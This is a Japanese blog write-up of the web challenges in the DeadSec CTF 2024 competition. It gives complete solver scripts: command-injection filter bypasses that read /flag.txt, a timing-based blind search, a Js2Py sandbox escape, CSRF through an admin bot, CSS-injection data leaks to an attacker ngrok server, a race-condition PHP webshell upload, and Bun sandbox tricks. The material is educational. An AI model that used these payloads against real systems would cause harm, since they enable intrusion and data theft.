☠️

DeadSec CTF 2024 - web writeup

2024/07/28に公開

Deadsec CTF 2024参加しまして、人生初のWeb完答しました🎉 順位は17位と、アスースン含め参加人数が少なかった割にはよかったと思います。amamaにpwn教えてもらったり、アスースンがいない間にということでCrypto解いたりと、いろいろ試すことができました。

Bing2 (100pts クリア率23%)

問題:

bing.pyp
<?php

if (isset($_POST['Submit'])) {
	$target = trim($_REQUEST['ip']);

	$substitutions = array(
		' ' => '',
		'&'  => '',
		'&&' => '',
		'('  => '',
		')'  => '',
		'-'  => '',
		'`'  => '',
		'|' => '',
		'||' => '',
		'; ' => '',	
		'%' => '',
		'~' => '',
        /* snap */
	);

	$target = str_replace(array_keys($substitutions), $substitutions, $target);

	if (stristr(php_uname('s'), 'Windows NT')) {
        echo $target . "2\n";
		$cmd = shell_exec('ping  ' . $target);
        echo $cmd . "\n";
	} else {
        echo 'ping  -c 4 ' . (string)$target . "\n";
		$cmd = shell_exec('ping  -c 4 ' . (string)$target . " 2>&1");
        echo $cmd;
	}
}

shell_exec('ping -c 4 ' . (string)$target . " 2>&1");の部分はコマンドインジェクションが可能であるが、多くの文字がWAFによって制限されている。

  • スペースの禁止は、チートシートを見ると${IFS}で回避できる。
  • ()|が禁止されているため複数コマンドの実行が制限されていそうだが、これも\nで回避できる。
  • catlessなどファイルを読み込むコマンドも制限されているがheadが制限されていない

したがって、以下のソルバーでクリア

solver.py
import requests

URL = "https://d2fd06178cee92e8ed97f7ee.deadsec.quest/"
# URL = "http://localhost:1337/"
payload = "127.0.0.1 \n head${IFS}'/fl''ag.txt'"

r = requests.post(URL + "bing.php", data={"Submit": True, "ip": payload})
print(r.status_code)
print(r.text)

bing_revenge (100pts クリア率14%)

問題:

app.py
#!/usr/bin/env python3
import os
from flask import Flask, request, render_template

app = Flask(__name__)


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'{host}'
        if not cmd:
             return render_template('ping_result.html', data='Hello')
        try:
            app.logger.info(cmd)
            output = os.system(f'ping -c 4 {cmd}')
            return render_template('ping_result.html', data="DeadSecCTF2024")
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'error when executing command')
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Command timed out')

    return render_template('ping.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

こちらも同様に、コマンドインジェクションの問題。このコード、いろいろトラップがあって、

  • コマンドの実行結果であるoutputは格納されているが、読み込まれないので参照できない。
  • curlなどの外部参照は、アウトバウンドが制限されているため不可能
  • エラーメッセージで判断しようにも、os.systemsubprocessのエラーを吐かないのでexcept文でキャッチできない。

同期的にコマンドを読み込んでいるので、コマンドの実行時間が長いとレスポンス自体も遅くなる。したがって、現在までの入力が正しければコマンドが一定時間スリープしてレスポンスを遅くし、間違っていれば早くなるようにすることで、Blind searchが可能。

solver.py
from concurrent.futures import ThreadPoolExecutor, as_completed
import time
import requests

URL = "https://4bf7b056e5394124f25206fc.deadsec.quest/"
# URL = "http://localhost:5000/"

def gen_code(i, c):
    return f"""import time; open("/flag.txt", "r").read()[{i}] == "{c}" and time.sleep(20)"""

def check_character(i, c, delay):
    time.sleep(delay * 0.1)
    payload = f"| python -c '{gen_code(i, c)}'"
    try:
        requests.post(URL + "flag", data={"host": payload}, timeout=15)
        return None
    except requests.exceptions.ReadTimeout:
        return c
    except Exception as e:
        return None

known = 'dead{f93efeba'
while known[-1] != '}':
    candidates = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-}"
    while len(candidates) > 1:
        new_candidates = ''
        with ThreadPoolExecutor(max_workers=len(candidates)) as executor:
            futures = {executor.submit(check_character, len(known), c, i): c for i, c in enumerate(candidates)}
            candidates = []
            for future in as_completed(futures):
                result = future.result()
                if result is not None:
                    new_candidates += result
        print(new_candidates)
        candidates = new_candidates
    known += candidates
    print(known)

Retro-calculator (220pts クリア率4.7%)

ソースコードが与えられていない問題。数式を送ると結果が返ってくるAPIを使った電卓のアプリ。

とりあえずevalされていることを願って、いろいろ入力してみる。pythonかjavascriptだといいなと思いながら実行してみると

test1.py
import requests

URL = "https://d7678517b73907b1138acc9d.deadsec.quest/"

r = requests.post(URL + "result", json={"inputs": f"""print"""})
print(r.text)
r = requests.post(URL + "result", json={"inputs": f"""console"""})
print(r.text)

結果:

{"result":"ReferenceError: print is not defined","status":"error"}
{"result":"'function console() { [python code] }'","status":"success"}

printが無いからpythonではなさそう...と思いきやconsoleの中身がpython codeになってる??? とりあえずjavascriptのコードは動くが、実行環境が特殊なんだろうな、と思い実行環境の特定を目標にする。

特別な変数が定義されていないか確認してみると、

test2.py
import requests

URL = "https://d7678517b73907b1138acc9d.deadsec.quest/"

r = requests.post(URL + "result", json={"inputs": f"""Object.getOwnPropertyNames(this)"""})
print(r.text)

結果:

{"result":"dict_keys(['true', 'false', 'null', 'undefined', 'Infinity', 'NaN', 'console', 'String', 'Number', 'Boolean', 'RegExp', 'Math', 'Date', 'Object', 'Function', 'Array', 'Int8Array', 'Uint8Array', 'Uint8ClampedArray', 'Int16Array', 'Uint16Array', 'Int32Array', 'Uint32Array', 'Float32Array', 'Float64Array', 'ArrayBuffer', 'parseFloat', 'parseInt', 'isFinite', 'isNaN', 'escape', 'unescape', 'encodeURI', 'decodeURI', 'encodeURIComponent', 'decodeURIComponent', 'Error', 'EvalError', 'TypeError', 'RangeError', 'ReferenceError', 'SyntaxError', 'URIError', 'eval', 'JSON', 'this', 'window', 'PyJsEvalResult'])","status":"success"}

PyJsEvalResultが明らかに怪しいのでこれでググってみると、Js2Pyというライブラリであることがわかった。

Js2Pyではpyimportという機能があり、これでpythonコードを読み込んで実行できるみたい。これを利用しようとしてファイルを読み込もうとしたところ

test3.py
r = requests.post(URL + "result", json={"inputs": f"""pyimport os;os.read(os.open("../flag.txt", os.O_RDONLY), 100)"""})
print(r.text)

結果:

{"result":"Hacking Attempts!","status":"error"}

どうやらWAFで防がれているっぽい。同様にevalも防がれているが、evalthis['eval']を通して利用できることはtest2.pyの結果からわかっている。文字列を暗号化↔復号するコードを書いて、それをevalで評価することで、WAFを回避できるようにした。今回は文字をそれぞれASCIIコードに変換する方法で実装した。

solver.py
import requests
import subprocess


URL = "https://d7678517b73907b1138acc9d.deadsec.quest/"

s = requests.session()

def encode(s):
    return '[' + ','.join([str(ord(c)) for c in s]) + ']'


# inner = """
# pyimport os
# os.listdir("../")
# """

inner = """
pyimport os
os.read(os.open("../flag.txt", os.O_RDONLY), 100)
"""


data = {
    "inputs": f"""
function decode(a) {{
    return a.map(function (v) {{return String.fromCharCode(v)}}).join('')
}}
this[decode({encode('eval')})](decode({encode(inner)}))
"""
}
r = s.post(URL + "result", json=data)
print(r.text)

colorful board (360pts クリア率2.5%)

amamaと一緒に解きました

問題

/admin/reportにURLを送ると、botがそこを訪れてくれる。

admin.controller.ts
export class AdminController {
    async viewUrl(url: string) {
        const admin = await this.userService.getUserByUsername(process.env.ADMIN_ID);
        const token = await this.authService.getAccessToken(admin);
        const cookies = [{ "name": "accessToken", "value": token.accessToken, "domain": "localhost" }]
        console.log(token);

        const browser = await puppeteer.launch({
            executablePath: '/usr/bin/chromium',
            args: ["--no-sandbox"]
        });

        const page = await browser.newPage();
        await page.setCookie(...cookies);

        await page.goto(url);
        await this.delay(500);

        await browser.close();
        return;
    }
}

フラグは二箇所に別れている。一つは、adminだけが見れるnoticeのうちの一つで、もう一つはadminのユーザー名。

init-data.js
const init_db = async () => {
    await db.users.insertMany([
        { username: "DEAD{THIS_IS_", password: "dummy", personalColor: "#000000", isAdmin: true },
    ]);

    await delay(randomDelay());
    await db.notices.insertOne({ title: "asdf", content: "asdf" });

    await delay(randomDelay());
    await db.notices.insertOne({ title: "flag", content: "FAKE_FLAG}" });

    await delay(randomDelay());
    await db.notices.insertOne({ title: "qwer", content: "qwer" });
}

まずは、noticeを見たいので、どうにかしてAdmin権限を取得して/admin/noticesにアクセスすることを目標とする。

Step 1: CSRF

AdminControllerには、Admin権限をユーザーに付与する/admin/grantというエンドポイントがある。

admin.controller.ts
export class AdminController {
    /* snap */
    @Get('/grant')
    @UseGuards(LocalOnlyGuard)
    async grantPerm(@Query('username') username: string) {
        return await this.adminService.authorize(username);
    }
    /* snap */
}

ただし、LocalOnlyGuardという制限によって、localhostからしか実行できない

local-only.guard.ts
@Injectable()
export class LocalOnlyGuard implements CanActivate {
    canActivate(
        context: ExecutionContext,
    ): boolean | Promise<boolean> | Observable<boolean> {
        const req = context.switchToHttp().getRequest();
        const clientIp = req.ip;
        console.log(clientIp)
        const localIps = ['127.0.0.1', '::1', '::ffff:127.0.0.1'];

        if (localIps.includes(clientIp)) {
            return true;
        } else {
            throw new HttpException('Only Local!', 404);
        }
    }
}

しかし、逆に言えば/admin/grantを実行するのにadmin権限は必要ない。したがって、自分で生成したtokenを使って、CSRFでbotに実行してもらう。

cookieだけではなくtokenはヘッダーでも指定できる。

jwt-expiration.middleware.ts
export class JwtExpireMiddleware implements NestMiddleware {
  constructor(private readonly jwtService: JwtService) { }

  async use(req: Request, res: Response, next: NextFunction) {
    const token = req.headers.authorization?.split(' ')[1] || req.cookies.accessToken;
    if (token) {
      try {
        const decoded = await this.jwtService.verifyAsync(token);
        req.user = decoded;

        next();
      } catch (err) {
        res
          .status(401)
          .json({ message: 'JWT Expired.' });
      }
    } else {
      res.redirect('/auth/login');
    }
  }
}

したがって、botに送ったページで/admin/grantにfetchでリクエストを行えば良い。

ここまでのソルバー
grant.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
    <script>
        window.addEventListener("load", async () => {
            const token = new URLSearchParams(document.location.search).get("token")
            const res = await fetch("http://localhost:1337/admin/grant?username=user",{
                headers: {authorization: `X ${token}`}
            })
        })
    </script>
</body>
</html>
solver1.py
import requests
import json
import time

URL = "https://9f9fd30cdd9d80cf34a7cd2f.deadsec.quest/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"


s = requests.session()
user = {
    "username": "user",
    "password": "pass",
    "personalColor": f"#5a5a5a"
}
r = s.post(URL + "auth/register", data=user)
r = s.post(URL + "auth/login", data=user)
token = json.loads(r.text)['accessToken']
s.cookies['accessToken'] = token

r = s.get(URL + "admin/report", params={
    "url": EVIL + f"grant.html?token={token}",
})

r = s.post(URL + "auth/login", data=user)
token = json.loads(r.text)['accessToken']
s.cookies['accessToken'] = token

r = s.get(URL + "admin/notice")
print(r.text)

Step 2: MongoDBのObjectIDの推論

さて、/admin/noticeを取得できたが、実は肝心のflagのnoticeは取得できない

export class AdminController {
    /* snap */
    @Get('/notice')
    @UseGuards(AdminGuard)
    @Render('notice-main')
    async renderAllNotice() {
        const notices = await this.adminService.getAllNotice();

        return { notices: notices.filter(notice => !notice.title.includes("flag")) };
    }
    /* snap */
}

MongoDBのObjectIDの生成規則を見てみると、次のような構成になっていることがわかる。

        プロセス毎に固定
        ==========
66a61e7fa516192a589f2d6a
========          ======
タイムスタンプ       連番カウンター

前後に生成されたオブジェクトのIDはわかっており、それらが2~5秒の間隔で生成されたこともわかっているので、タイムスタンプの候補は数通りであることがわかる。カウンターも連番なので推測可能である。

これを利用して、すべてのIDの候補で/admin/notice/<id>を調べると、フラグの前半を入手できる。

solver.py
import requests
import json
import re

URL = "https://9f9fd30cdd9d80cf34a7cd2f.deadsec.quest/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"


s = requests.session()
user = {
    "username": "user",
    "password": "pass",
    "personalColor": f"#5a5a5a"
}
r = s.post(URL + "auth/register", data=user)
r = s.post(URL + "auth/login", data=user)
token = json.loads(r.text)['accessToken']
s.cookies['accessToken'] = token

# r = s.get(URL + "admin/report", params={
#     "url": EVIL + f"grant.html?token={token}",
# })

# r = s.post(URL + "auth/login", data=user)
# token = json.loads(r.text)['accessToken']
# s.cookies['accessToken'] = token

r = s.get(URL + "admin/notice")

noticeIds = re.findall('<a href="/admin/notice/(.+)">.+</a>', r.text)
start = int(noticeIds[0][0:8], 16)
end = int(noticeIds[1][0:8], 16)
static = noticeIds[0][8:18]
counter = hex(int(noticeIds[0][18:24], 16) + 1)[2:]

for i in range(start + 1, end):
    objectid = hex(i)[2:] + static + counter
    r = s.get(URL + f"admin/notice/{objectid}")
    if r.status_code == 200:
        print(r.text)
        break

Step 3: CSS Injection

ユーザーを作成するときに、色を指定することができるが、これがどのようにページに反映されるか見ると、

post.controller.ts
export class PostController {
  /* snap */
  @Get('/edit/:id')
  @UseGuards(AdminGuard)
  @Render('post-edit')
  async renderEdit(@Req() request: Request, @Param('id') id: Types.ObjectId) {
    const post = await this.postService.getPostById(id);
    const author = await this.userService.getUserById(post.user);
    const user = request.user;

    user.personalColor = xss(user.personalColor);
    author.personalColor = xss(author.personalColor);

    return { post: post, author: author, user: request.user };
  }
  /* snap */
}
post-edit.html
<!-- views/new-post.hbs -->

<!DOCTYPE html>
<html lang="en">

<head>
    <!-- snap -->
    <style>
        .author {
            color: {{{ author.personalColor }}}
        }

        .user {
            color: {{{ user.personalColor }}}
        }
    </style>
</head>

<body>
   <main>
        <div class="container">

            <!-- snap -->
            <p>Your account: <input class="user" type="text" value="{{user.username}}" disabled></p>
            <!-- snap -->
        </div>
    </main>
</body>

</html>

personalColorはCSS Injectionが可能になっている。このように色が反映される箇所は/post/<id>/post/edit/<id>がある。/post/edit/<id>はそれに加えて、input要素に現在のユーザーのユーザー名が記入される。

したがって、input[class=user][value^=D]といったセレクターでユーザー名がある文字列から始まっているか観測することができる(詳細)。そのセレクタに当てはまる要素が存在するときに限り自分のサーバーのURLにリクエストが飛ぶようにすることで、Blind searchが可能である。

注意すべき点として、一度にすべてのCSSを入れるとnginxにリクエストが大きすぎると怒られてしまうので、3分割して行った。

以下のコードでフラグを入手した。

solver.py
import requests
import json
import time

URL = "https://9f9fd30cdd9d80cf34a7cd2f.deadsec.quest/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"
ASCII = ["abcdefghijklmnopqrstuv",
         "wxyzABCDEFGHIJKLMNOPQR",
         "STUVWXYZ0123456789_-}"]

def report(val, i):
    postid = create_post(val, i)
    s.get(URL + "admin/report", params={
        "url": f"http://localhost:1337/post/edit/{postid}",
    })

def create_post(val, i):
    global sess
    user = {
        "username": f"u_{val}_{i}",
        "password": "pass",
        "personalColor": f"#5a5a5a {generate_css(val, i)}"
    }
    s = requests.session()
    r1 = s.post(URL + "auth/register", data=user)
    r2 = s.post(URL + "auth/login", data=user)
    token = json.loads(r2.text)['accessToken']
    s.cookies['accessToken'] = token
    if r1.status_code != 404:
        r = s.post(URL + "post/write", data={
            "title": "foo", "content": "bar"
        })
    r = s.get(URL + "post/all")
    return json.loads(r.text)[0]["_id"]

def generate_css(val, i):
    def fragment(v):
        return f"""}}input[class=user][value^='{v}']{{background-image:url('{EVIL}update?c={v}');"""
    return "".join([fragment(val + c) for c in ASCII[i]])



s = requests.session()
user = {
    "username": "user",
    "password": "pass",
    "personalColor": f"#5a5a5a"
}
r = s.post(URL + "auth/register", data=user)
r = s.post(URL + "auth/login", data=user)
token = json.loads(r.text)['accessToken']
s.cookies['accessToken'] = token

# r = s.get(URL + "admin/report", params={
#     "url": EVIL + f"grant.html?token={token}",
# })
# while r.status_code != 200:
#     r = s.get(URL + "admin/report", params={
#         "url": EVIL + f"grant.html?token={token}",
#     })

known = "DEAD{"
while known[-1] != "}":
    for i in range(3):
        report(known, i)
    time.sleep(10)
    known = requests.get(EVIL + "known").text
    print(known)
server.py
from http.server import HTTPServer, SimpleHTTPRequestHandler
import json
from urllib.parse import urlparse, parse_qs
import requests

# URL = "http://localhost:1337/"
URL = "https://9f9fd30cdd9d80cf34a7cd2f.deadsec.quest/"
EVIL = "https://xxx.ngrok.app/"
ASCII = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-}"
sess = None
known = "DEAD{"
class Handler(SimpleHTTPRequestHandler):
    global known
    def do_GET(self):
        global known
        url = urlparse(self.path)
        qs = parse_qs(url.query)
        if url.path == "/known":
            self.send_response(200)
            self.end_headers()
            self.wfile.write(known.encode())
            return
        if url.path == "/update":
            known = qs.get("c")[0]
            self.send_response(200)
            self.end_headers()
            return
        super().do_GET()

def run(server_class=HTTPServer, handler_class=Handler, addr="localhost", port=9911):
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    user = {
        "username": "user",
        "password": "pass",
        "personalColor": "#5a5a5a"
    }
    sess = requests.session()
    sess.post(URL + "auth/register", data=user)
    r = sess.post(URL + "auth/login", data=user)
    token = json.loads(r.text)['accessToken']
    sess.cookies['accessToken'] = token
    run()

最初は、/post/<id>しか見ておらず、inputによるBlind searchができなかったので、Scroll-to fragmentによるXS-leaksを試していたが、単語に全部マッチしないと駄目でできなかった。

ezstart (100pts クリア率6.7%)

upload.php
<?php

session_start();

function is_malware($file_path)
{
    $content = file_get_contents($file_path);
    
    if (strpos($content, '<?php') !== false) {
        return true; 
    }
    
    return false;
}

function is_image($path, $ext)
{
    // Define allowed extensions
    $allowed_extensions = ['png', 'jpg', 'jpeg', 'gif'];
    
    // Check if the extension is allowed
    if (!in_array(strtolower($ext), $allowed_extensions)) {
        return false;
    }
    
    // Check if the file is a valid image
    $image_info = getimagesize($path);
    if ($image_info === false) {
        return false;
    }
    
    return true;
}

if (isset($_FILES) && !empty($_FILES)) {

    $uploadpath = "tmp/";
    
    $ext = pathinfo($_FILES["files"]["name"], PATHINFO_EXTENSION);
    $filename = basename($_FILES["files"]["name"], "." . $ext);

    $timestamp = time();
    $new_name = $filename . '_' . $timestamp . '.' . $ext;
    $upload_dir = $uploadpath . $new_name;

    if ($_FILES['files']['size'] <= 10485760) {
        move_uploaded_file($_FILES["files"]["tmp_name"], $upload_dir);
    } else {
        echo $error2 = "File size exceeds 10MB";
    }

    if (is_image($upload_dir, $ext) && !is_malware($upload_dir)){
        $_SESSION['context'] = "Upload successful";
    } else {
        $_SESSION['context'] = "File is not a valid image or is potentially malicious";
    }
    
    echo $upload_dir;
    unlink($upload_dir);
}

?>

ファイルをアップロードすると、./tmpフォルダに入れてくれるが、unlinkを使ってすぐに削除してしまう。

間に挟まっているis_imageis_malwareの実行時間を長くすることによって、アップロードされてから削除されるまでの間に読み取ることができるか試行錯誤していたが...なんとそんなことしなくても、試行回数を重ねれば読み取れることがわかった。

生成されるファイルはファイルをアップロードした時間のタイムスタンプがファイル名に含まれるようになる。これを推測しなければならないので、前の施行でどのくらいずれていたかを観測し、次の施行でどれくらいずらせばいいかを推測するようにした。

solver
import requests
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor
import warnings
import re
warnings.simplefilter('ignore')

URL = "https://cc435f7badc1e1fda35d576b.deadsec.quest/"
# URL = "http://localhost:1338/"
COUNT = 5

def upload():
    files = {'files': ('foobar.php', b"<?php readfile('/flag.txt') ?>", 'image/jpeg')}
    return requests.post(URL + "upload.php", files=files, verify=False)


def read(timestamp):
    return requests.get(URL + f"tmp/foobar_{timestamp}.php", verify=False)

diff = 0
while True:

    timestamp = int(datetime.now().timestamp()) - diff
    with ThreadPoolExecutor(max_workers=5) as executor:
        r1 = executor.submit(upload)
        rs = [executor.submit(read, timestamp) for _ in range(COUNT)]
        executor.shutdown()


    res = [f.result() for f in rs]
    check = [r.text for r in res if r.status_code == 200]
    if len(check) > 0:
        print(check[0])
        break
    real = int(re.findall("foobar_(.+)\.php", r1.result().text)[0])
    diff = (timestamp - real + diff) // 2
    print(timestamp, real, diff)

開始数時間後に同じコードを動かしたが、サーバーがめちゃくちゃラグくてタイムスタンプの推測が不可能レベルだった。後半に再度同じことをしたらできたので、race condition系の問題のインフラはちゃんとしてほしいな...と感じた。

Buntime (400pts クリア率1.8%)

これもソースコードが与えられていない問題。javascriptのplaygroundが与えられるが、問題文からBunJSを利用していることが推測できる。

色々と試してみると、次のことが分かる。

  • 入力が51文字以上だとWAFに弾かれる
  • 出力が21文字以上だとWAFに弾かれる
  • 一部の関数が利用できないように置き換わっている。以下がその一例
    • Bun.spawnSyncのような同期系の関数
    • Bun.$
    • Bun.readFileSync
      • 手元の環境だとBunにreadFileSyncなんてないはずだが、なぜか存在していた...?
      • その他にもfs.〇〇Sync系がすべてBunにくっついていた

実験していると、最初のリクエストでBun.x = 'a'のよう代入して、次のリクエストでBun.xのように評価すると、値が保存されていることがわかった。したがって、長いコマンドでも複数回に分けて、変数を通して実行することが可能である。

ただし、Bunはトップレベルのawaitに対応していないので、promiseが絡むと値を取得できない。同期的な関数はすべて上記のように削除されてしまっている。ファイルの読み書きは基本非同期で行うので、この制限を突破する必要がある。

BunJS特有の問題だろう、と推測してAPIを見ていると、Bun.peekという関数を発見した。これは、promiseの中身を同期的に見ることができるという関数だ。

これを利用して以下のようにソルバーを作成した。出力に関するWAFは、一文字ずつ取得することで回避した

solver.py
import json
import requests


URL = "https://fe3690922ff7a62e2ea27b42.deadsec.quest/"


code = f"""Bun.x = Bun.file('/flag.txt').text()"""
requests.post(URL + "run", json={"code": code})

i=0
res = ''
while True:
    code = f"""(Bun.peek(Bun.x) + '')[{i}]"""
    r = requests.post(URL + "run", json={"code": code})
    jsn = json.loads(r.text)
    res += jsn['result']
    print(res, flush=True)
    i+=1

エラー文に関しては長さの制限がなかったので、エラーメッセージを通してフラグを表示すれば一発だったらしい、とDiscordで教えてもらった

solver.py
import json
import requests
import base64


URL = "https://fe3690922ff7a62e2ea27b42.deadsec.quest/"

code = f"""Bun.x = Bun.file('/flag.txt').text()"""
requests.post(URL + "run", json={"code": code})
code = f"""throw new Error(Bun.peek(Bun.x))"""
r = requests.post(URL + "run", json={"code": code})
print(r.text)

まとめ

割と簡単めな大会だったので、次はもうちょい難しめな大会で完答めざして精進します🦾

Discussion